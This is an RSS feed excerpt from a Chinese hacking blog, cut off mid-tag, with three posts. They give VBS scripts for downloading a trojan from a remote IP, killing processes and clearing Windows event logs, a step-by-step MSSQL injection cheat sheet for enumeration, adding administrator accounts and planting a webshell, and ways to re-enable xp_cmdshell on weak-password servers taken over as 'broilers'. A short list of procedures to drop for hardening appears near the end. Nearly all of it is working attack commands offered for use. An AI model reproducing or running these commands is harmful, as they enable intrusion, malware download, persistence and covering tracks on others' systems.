			<guid>http://www.missll.com/blog/default.asp?id=1180</guid>
		<description><![CDATA[一些入侵用到的vbs脚本 <br/><br/><br/>echo iLocal = LCase(WScript.Arguments(1)) &gt;iget.vbe <br/>echo iRemote = LCase(WScript.Arguments(0)) &gt;&gt;iget.vbe <br/>echo Set xPost = cr&#101;ateObject(&#34;Microsoft.XMLHTTP&#34;) &gt;&gt;iget.vbe <br/>echo xPost.Open &#34;GET&#34;,iRemote,0 &gt;&gt;iget.vbe <br/>echo xPost.Send() &gt;&gt;iget.vbe <br/>echo Set sGet = cr&#101;ateObject(&#34;ADODB.Stream&#34;) &gt;&gt;iget.vbe <br/>echo sGet.Mode = 3 &gt;&gt;iget.vbe <br/>echo sGet.Type = 1 &gt;&gt;iget.vbe <br/>echo sGet.Open() &gt;&gt;iget.vbe <br/>echo sGet.Write(xPost.responseBody) &gt;&gt;iget.vbe <br/>echo sGet.SaveToFile iLocal,2 &gt;&gt;iget.vbe <br/><br/>用法: cscript hget.vbs <a href="http://111.111.111.111/muma.exe" target="_blank" rel="external">http://111.111.111.111/muma.exe</a> muma.exe<br/><br/><br/>2.列举进程<br/><br/>@echo for each ps in getobject _ &gt;ps.vbs <br/>@echo (&#34;winmgmts:\\.\root\cimv2:win32_process&#34;).instances_ &gt;&gt;ps.vbs <br/>@echo wscript.echo ps.handle^&amp;vbtab^&amp;ps.name^&amp;vbtab^&amp;ps.executablepath:next &gt;&gt;ps.vbs<br/><br/><br/>用法:cscript ps.vbs <br/><br/><br/>3.终止进程 <br/><br/><br/>@echo for each ps in getobject _ &gt;pskill.vbs <br/>@echo (&#34;winmgmts:\\.\root\cimv2:win32_process&#34;).instances_ &gt;&gt;pskill.vbs <br/>@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next &gt;&gt;pskill.vbs<br/><br/>用法:cscript pskill.vbs pid <br/><br/><br/>4.重启系统 <br/><br/>@echo for each os in getobject _ &gt;reboot.vbs <br/>@echo (&#34;winmgmts:!\\.\root\cimv2:win32_operatingsystem&#34;).instances_ &gt;&gt;reboot.vbs <br/>@echo os.win32shutdown(2):next &gt;&gt;reboot.vbs<br/><br/><br/>用法:cscript reboot.vbs<br/><br/>5.利用脚本编程删除日志<br/><br/><br/>strComputer= &#34;.&#34; <br/>Set objWMIService = GetObject(&#34;winmgmts:&#34; _ <br/>&amp; &#34;{impersonationLevel=impersonate,(Backup)}!\\&#34; &amp; _ <br/>strComputer &amp; &#34;\root\cimv2&#34;) <br/>dim mylogs(3) <br/>mylogs(1)=&#34;application&#34; <br/>mylogs(2)=&#34;system&#34; <br/>mylogs(3)=&#34;security&#34; <br/>for Each logs in mylogs <br/>Set colLogFiles=objWMIService.ExecQuery _ <br/>(&#34;Sel&#101;ct * from Win32_NTEventLogFile wh&#101;re LogFileName=&#39;&#34;&amp;logs&amp;&#34;&#39;&#34;) <br/>For Each objLogfile in colLogFiles <br/>objLogFile.ClearEventLog() <br/>Next <br/>next<br/><br/><br/>将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中，首先获得object对象，然后利用其clearEventLog()方法删除日志。建立一个数组，application,security,system，如果还有其他日志 <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.missll.com/blog/article/Internet/1179.htm</link>
			<title><![CDATA[常用手工注入命令讲解]]></title>
			<author>ccnner@gmail.com(Missll)</author>
			<category><![CDATA[Internet]]></category>
			<pubDate>Mon,17 May 2010 12:21:56 +0800</pubDate>
			<guid>http://www.missll.com/blog/default.asp?id=1179</guid>
		<description><![CDATA[1.判断是否有注入;and 1=1 ;and 1=2<br/><br/>2.初步判断是否是mssql ;and user&gt;0<br/><br/>3.注入参数是字符&#39;and [查询条件] and &#39;&#39;=&#39;<br/><br/>4.搜索时没过滤参数的&#39;and [查询条件] and &#39;%25&#39;=&#39;<br/><br/>5.判断数据库系统<br/><br/>;and (sel&#101;ct count(*) from sysobjects)&gt;0 mssql<br/><br/>;and (sel&#101;ct count(*) from msysobjects)&gt;0 access<br/><br/>6.猜数据库 ;and (sel&#101;ct Count(*) from [数据库名])&gt;0 <br/><br/>7.猜字段 ;and (sel&#101;ct Count(字段名) from 数据库名)&gt;0<br/><br/>8.猜字段中记录长度 ;and (sel&#101;ct top 1 len(字段名) from 数据库名)&gt;0<br/><br/>9.(1)猜字段的ascii值（access）<br/><br/>;and (sel&#101;ct top 1 asc(mid(字段名,1,1)) from 数据库名)&gt;0<br/><br/>(2)猜字段的ascii值（mssql）<br/><br/>;and (sel&#101;ct top 1 unicode(substring(字段名,1,1)) from 数据库名)&gt;0<br/><br/>10.测试权限结构（mssql）<br/><br/>;and 1=(sel&#101;ct IS_SRVROLEMEMBER(&#39;sysadmin&#39;));--<br/><br/>;and 1=(sel&#101;ct IS_SRVROLEMEMBER(&#39;serveradmin&#39;));--<br/><br/>;and 1=(sel&#101;ct IS_SRVROLEMEMBER(&#39;setupadmin&#39;));--<br/><br/>;and 1=(sel&#101;ct IS_SRVROLEMEMBER(&#39;securityadmin&#39;));--<br/><br/>;and 1=(sel&#101;ct IS_SRVROLEMEMBER(&#39;diskadmin&#39;));--<br/><br/>;and 1=(sel&#101;ct IS_SRVROLEMEMBER(&#39;bulkadmin&#39;));--<br/><br/>;and 1=(sel&#101;ct IS_MEMBER(&#39;db_owner&#39;));--<br/><br/>11.添加mssql和系统的帐户<br/><br/>;exec master.dbo.sp_addlogin username;--<br/><br/>;exec master.dbo.sp_password null,username,password;--<br/><br/>;exec master.dbo.sp_addsrvrolemember sysadmin username;--<br/><br/>;exec master.dbo.xp_cmdshell &#39;net user username password<br/><br/>/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add&#39;;--<br/><br/>;exec master.dbo.xp_cmdshell &#39;net user username password /add&#39;;--<br/><br/>;exec master.dbo.xp_cmdshell &#39;net localgroup administrators username /add&#39;;--<br/><br/>12.(1)遍历目录<br/><br/>;cr&#101;ate table dirs(paths varchar(100), id int)<br/><br/>;ins&#101;rt dirs exec master.dbo.xp_dirtree &#39;c:\&#39;<br/><br/>;and (sel&#101;ct top 1 paths from dirs)&gt;0<br/><br/>;and (sel&#101;ct top 1 paths from dirs wh&#101;re paths not in(&#39;上步得到的paths&#39;))&gt;)<br/><br/>(2)遍历目录<br/><br/>;cr&#101;ate table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--<br/><br/>;ins&#101;rt temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器<br/><br/>;ins&#101;rt into temp(id) exec master.dbo.xp_subdirs &#39;c:\&#39;;-- 获得子目录列表<br/><br/>;ins&#101;rt into temp(id,num1) exec master.dbo.xp_dirtree &#39;c:\&#39;;-- 获得所有子目录的目录树构<br/><br/>;ins&#101;rt into temp(id) exec master.dbo.xp_cmdshell &#39;type c:\web\index.asp&#39;;-- 查看文件的内容<br/><br/>13.mssql中的存储过程<br/><br/>xp_regenumvalues 注册表根键, 子键<br/><br/>;exec xp_regenumvalues &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#39; 以多个记录集方式返回所有键值<br/><br/>xp_regread 根键,子键,键值名<br/><br/>;exec xp_regread<br/><br/>&#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion&#39;,&#39;CommonFilesDir&#39; 返回制定键的值<br/><br/>xp_regwrite 根键,子键, 值名, 值类型, 值<br/><a href="http://www.mydping.cn/" target="_blank" rel="external">http://www.mydping.cn/</a><br/>值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型<br/><br/>;exec xp_regwrite &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion&#39;,&#39;TestValueName&#39;,&#39;reg_sz&#39;,&#39;hello&#39; 写入注册表<br/><br/>xp_regdel&#101;tevalue 根键,子键,值名<br/><br/>exec xp_regdel&#101;tevalue &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion&#39;,&#39;TestValueName&#39; 删除某个值<br/><br/>xp_regdel&#101;tekey &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey&#39; 删除键,包括该键下所有值<br/><br/>14.mssql的backup创建webshell<br/><br/>use model<br/><br/>cr&#101;ate table cmd(str image);<br/><br/>ins&#101;rt into cmd(str) values (&#39;&#39;);<br/><br/>backup database model to disk=&#39;c:\l.asp&#39;;<br/><br/>15.mssql内置函数<br/><br/>;and (sel&#101;ct @@version)&gt;0 获得Windows的版本号<br/><br/>;and user_name()=&#39;dbo&#39; 判断当前系统的连接用户是不是sa<br/><br/>;and (sel&#101;ct user_name())&gt;0 爆当前系统的连接用户<br/><br/>;and (sel&#101;ct db_name())&gt;0 得到当前连接的数据库<br/><br/>16.简洁的webshell<br/><br/>use model<br/><br/>cr&#101;ate table cmd(str image);<br/><br/>ins&#101;rt into cmd(str) values (&#39;&#39;);<br/><br/>backup database model to disk=&#39;g:\wwwtest\l.asp&#39;;<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.missll.com/blog/article/Internet/1172.htm</link>
			<title><![CDATA[MSSQL入侵恢复xp_cmdshell方法总结]]></title>
			<author>ccnner@gmail.com(Missll)</author>
			<category><![CDATA[Internet]]></category>
			<pubDate>Mon,19 Apr 2010 14:39:36 +0800</pubDate>
			<guid>http://www.missll.com/blog/default.asp?id=1172</guid>
		<description><![CDATA[MSSQL弱口令入侵已经很罕见了,但在内网时有时还能用到,今天在搞机器的时候遇上一MSSQL2005,第一次见这错误信息,搜索到答案,贴在BLOG上以后遇上备用. (以下转载)<br/>---------------------------------<br/><br/>错误信息:SQL Server 阻止了对组件 &#39;xp_cmdshell&#39; 的 过程&#39;sys.xp_cmdshell&#39; 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 <br/><br/>&#39;xp_cmdshell&#39;。有关启用 &#39;xp_cmdshell&#39; 的详细信息，请参阅 SQL Server 联机丛书中的 &#34;外围应用配置器&#34;。<br/><br/>SQL2005 在默认的设置中是删除了 XP_CMDSHELL的，因此也在注射过程中产生了点困难。后来经过查看MSSQL2005的手册才知道情况原来如此：<br/>用下面一句话就可以了解决了。<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code6060);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code6060>;EXEC sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;EXEC sp_configure &#39;xp_cmdshell&#39;, 1;RECONFIGURE;--</div></div><br/><br/>关闭一样.只是将上面的后面的那个&#34;1&#34;改成&#34;0&#34;就可以了.<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code37036);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code37036>;EXEC sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;EXEC sp_configure &#39;xp_cmdshell&#39;, 0;RECONFIGURE;--</div></div><br/><br/>如果cmdshell还不行的话，就再运行：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code44108);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code44108>;dbcc addextendedproc(&#34;xp_cmdshell&#34;,&#34;xplog70.dll&#34;);--</div></div><br/>或者<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code49449);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code49449>;sp_addextendedproc xp_cmdshell,@dllname=&#39;xplog70.dll&#39;</div></div><br/>来恢复cmdshell。<br/><br/><br/><br/>sql server 2005下开启xp_cmdshell的办法<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code33427);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code33427>EXEC sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;EXEC sp_configure &#39;xp_cmdshell&#39;, 1;RECONFIGURE;</div></div><br/><br/><br/>SQL2005开启&#39;OPENROWSET&#39;支持的方法：<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code81493);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code81493>exec sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;exec sp_configure &#39;Ad Hoc Distributed Queries&#39;,1;RECONFIGURE;</div></div><br/><br/>SQL2005开启&#39;sp_oacr&#101;ate&#39;支持的方法:<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code10737);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code10737>exec sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;exec sp_configure &#39;Ole Automation Procedures&#39;,1;RECONFIGURE;</div></div><br/><br/><br/>突破SA的各种困难<br/>常见情况恢复执行xp_cmdshell<br/>1 未能找到存储过程&#39;master..xpcmdshell&#39;.<br/>恢复方法：查询分离器连接后,<br/>第一步执行:<div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code96446);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code96446>EXEC sp_addextendedproc xp_cmdshell,@dllname =&#39;xplog70.dll&#39;declare @o int</div></div><br/>第二步执行:<div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code65875);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code65875>sp_addextendedproc &#39;xp_cmdshell&#39;, &#39;xpsql70.dll&#39;</div></div>然后按F5键命令执行完毕<br/><br/>2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126（找不到指定模块。）<br/>恢复方法：查询分离器连接后,<br/>第一步执行：<div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code31031);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code31031>sp_dro&#112;extendedproc &#34;xp_cmdshell&#34;</div></div><br/>第二步执行：<div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code65875);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code65875>sp_addextendedproc &#39;xp_cmdshell&#39;, &#39;xpsql70.dll&#39;</div></div><br/>然后按F5键命令执行完毕<br/><br/>3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)<br/>恢复方法：查询分离器连接后,<br/>第一步执行:<div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code75084);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code75084>exec sp_dro&#112;extendedproc &#39;xp_cmdshell&#39;</div></div><br/>第二步执行:<div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code29963);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code29963>exec sp_addextendedproc &#39;xp_cmdshell&#39;,&#39;xpweb70.dll&#39;</div></div><br/>然后按F5键命令执行完毕<br/>四.终极方法.<br/>如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:<br/>查询分离器连接后,<br/>2000servser系统:<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code38767);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code38767>declare @shell int exec sp_oacr&#101;ate &#39;wscript.shell&#39;,@shell output exec sp_oamethod @shell,&#39;run&#39;,null,&#39;c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add&#39;<br/><br/>declare @shell int exec sp_oacr&#101;ate &#39;wscript.shell&#39;,@shell output exec sp_oamethod @shell,&#39;run&#39;,null,&#39;c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add&#39;</div></div><br/><br/>xp或2003server系统:<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code65471);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code65471>declare @shell int exec sp_oacr&#101;ate &#39;wscript.shell&#39;,@shell output exec sp_oamethod @shell,&#39;run&#39;,null,&#39;c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add&#39;<br/><br/>declare @shell int exec sp_oacr&#101;ate &#39;wscript.shell&#39;,@shell output exec sp_oamethod @shell,&#39;run&#39;,null,&#39;c:\windows\system32\cmd.exe /c net localgroup administrators dell /add&#39;</div></div><br/><br/><br/>--------------<br/>xp_cmdshell新的恢复办法<br/>删除<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code58803);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code58803>dro&#112; procedure sp_addextendedproc<br/>dro&#112; procedure sp_oacr&#101;ate<br/>exec sp_dro&#112;extendedproc &#39;xp_cmdshell&#39;</div></div><br/><br/><br/>恢复<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code25691);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code25691>dbcc addextendedproc (&#34;sp_oacr&#101;ate&#34;,&#34;odsole70.dll&#34;)<br/>dbcc addextendedproc (&#34;xp_cmdshell&#34;,&#34;xplog70.dll&#34;)</div></div><br/><br/><br/>这样可以直接恢复，不用去管sp_addextendedproc是不是存在<br/><br/>-----------------------------<br/><br/>删除扩展存储过过程xp_cmdshell的语句:<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code75084);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code75084>exec sp_dro&#112;extendedproc &#39;xp_cmdshell&#39;</div></div><br/><br/><br/>恢复cmdshell的sql语句<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code460);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code460>exec sp_addextendedproc xp_cmdshell ,@dllname =&#39;xplog70.dll&#39;</div></div><br/><br/><br/>开启cmdshell的sql语句<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code460);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code460>exec sp_addextendedproc xp_cmdshell ,@dllname =&#39;xplog70.dll&#39;</div></div><br/><br/><br/>判断存储扩展是否存在<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code53058);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code53058>sel&#101;ct count(*) from master.dbo.sysobjects wh&#101;re xtype=&#39;x&#39; and name=&#39;xp_cmdshell&#39;</div></div><br/><br/>返回结果为1就ok<br/><br/>恢复xp_cmdshell<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code69484);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code69484>exec master.dbo.addextendedproc &#39;xp_cmdshell&#39;,&#39;xplog70.dll&#39;;sel&#101;ct count(*) from master.dbo.sysobjects wh&#101;re xtype=&#39;x&#39; and name=&#39;xp_cmdshell&#39;</div></div><br/><br/>返回结果为1就ok<br/><br/>否则上传xplog7.0.dll<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code93647);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code93647>exec master.dbo.addextendedproc &#39;xp_cmdshell&#39;,&#39;c:\winnt\system32\xplog70.dll&#39;</div></div><br/><br/><br/>堵上cmdshell的sql语句<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code47717);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code47717>sp_dro&#112;extendedproc &#34;xp_cmdshell</div></div><br/><br/>----------------<br/>删除sql危险存储：<br/><br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code85506);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code85506>Dro&#112; PROCEDURE sp_makewebtask<br/>exec master..sp_dro&#112;extendedproc xp_cmdshell<br/>exec master..sp_dro&#112;extendedproc xp_dirtree<br/>exec master..sp_dro&#112;extendedproc xp_fileexist<br/>exec master..sp_dro&#112;extendedproc xp_terminate_process<br/>exec master..sp_dro&#112;extendedproc sp_oamethod<br/>exec master..sp_dro&#112;extendedproc sp_oacr&#101;ate<br/>exec master..sp_dro&#112;extendedproc xp_regaddmultistring<br/>exec master..sp_dro&#112;extendedproc xp_regdel&#101;tekey<br/>exec master..sp_dro&#112;extendedproc xp_regdel&#101;tevalue<br/>exec master..sp_dro&#112;extendedproc xp_regenumkeys<br/>exec master..sp_dro&#112;extendedproc xp_regenumvalues<br/>exec master..sp_dro&#112;extendedproc sp_add_job<br/>exec master..sp_dro&#112;extendedproc sp_addtask<br/>exec master..sp_dro&#112;extendedproc xp_regread<br/>exec master..sp_dro&#112;extendedproc xp_regwrite<br/>exec master..sp_dro&#112;extendedproc xp_readwebtask<br/>exec master..sp_dro&#112;extendedproc xp_makewebtask<br/>exec master..sp_dro&#112;extendedproc xp_regremovemultistring<br/>exec master..sp_dro&#112;extendedproc sp_OACr&#101;ate<br/>Dro&#112; PROCEDURE sp_addextendedproc</div></div><br/>/*附上恢复扩展存储过程的办法<br/><br/><br/>先恢复sp_addextendedproc，语句如下：<br/><br/>SQL代码：<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code45581);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code45581>cr&#101;ate procedure sp_addextendedproc --- 1996/08/30 20:13 <br/>@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as <br/>set implicit_transactions off <br/>if @@trancount &gt; 0&nbsp;&nbsp;&nbsp;&nbsp;<br/>begin <br/>raiserror(15002,-1,-1,&#39;sp_addextendedproc&#39;)&nbsp;&nbsp;&nbsp;&nbsp;<br/>return (1)&nbsp;&nbsp;&nbsp;&nbsp;<br/>end <br/>dbcc addextendedproc( @functname, @dllname)&nbsp;&nbsp;&nbsp;&nbsp;<br/>return (0) -- sp_addextendedproc <br/>GO</div></div><br/><br/>再恢复以上所有扩展存储过程<br/><br/>SQL代码：<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code29305);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code29305>use master&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_cmdshell,&#39;xp_cmdshell.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_dirtree,&#39;xpstar.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_enumgroups,&#39;xplog70.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_fixeddrives,&#39;xpstar.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_loginconfig,&#39;xplog70.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_enumerrorlogs,&#39;xpstar.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_getfiledetails,&#39;xpstar.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc sp_OACr&#101;ate,&#39;odsole70.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc sp_OADestroy,&#39;odsole70.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc sp_OAGetErrorInfo,&#39;odsole70.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc sp_OAGetProperty,&#39;odsole70.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc sp_OAMethod,&#39;odsole70.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc sp_OASetProperty,&#39;odsole70.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc sp_OAStop,&#39;odsole70.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_regaddmultistring,&#39;xpstar.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_regdel&#101;tekey,&#39;xpstar.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_regdel&#101;tevalue,&#39;xpstar.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_regenumvalues,&#39;xpstar.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_regread,&#39;xpstar.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_regremovemultistring,&#39;xpstar.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_regwrite,&#39;xpstar.dll&#39;&nbsp;&nbsp;&nbsp;&nbsp;<br/>exec sp_addextendedproc xp_availablemedia,&#39;xpstar.dll&#39;</div></div><br/><br/>SQL Server 阻止了对组件 &#39;xp_cmdshell&#39; 的 过程&#39;sys.xp_cmdshell&#39; 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 &#39;xp_cmdshell&#39;。<br/><br/>有关启用 &#39;xp_cmdshell&#39; 的详细信息，请参阅 SQL Server 联机丛书中的 &#34;外围应用配置器&#34;。<br/><br/>经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题 ！<br/>接下来我们用SQL语句搞定他<br/><br/>分析器执行的语句：<br/><br/><div 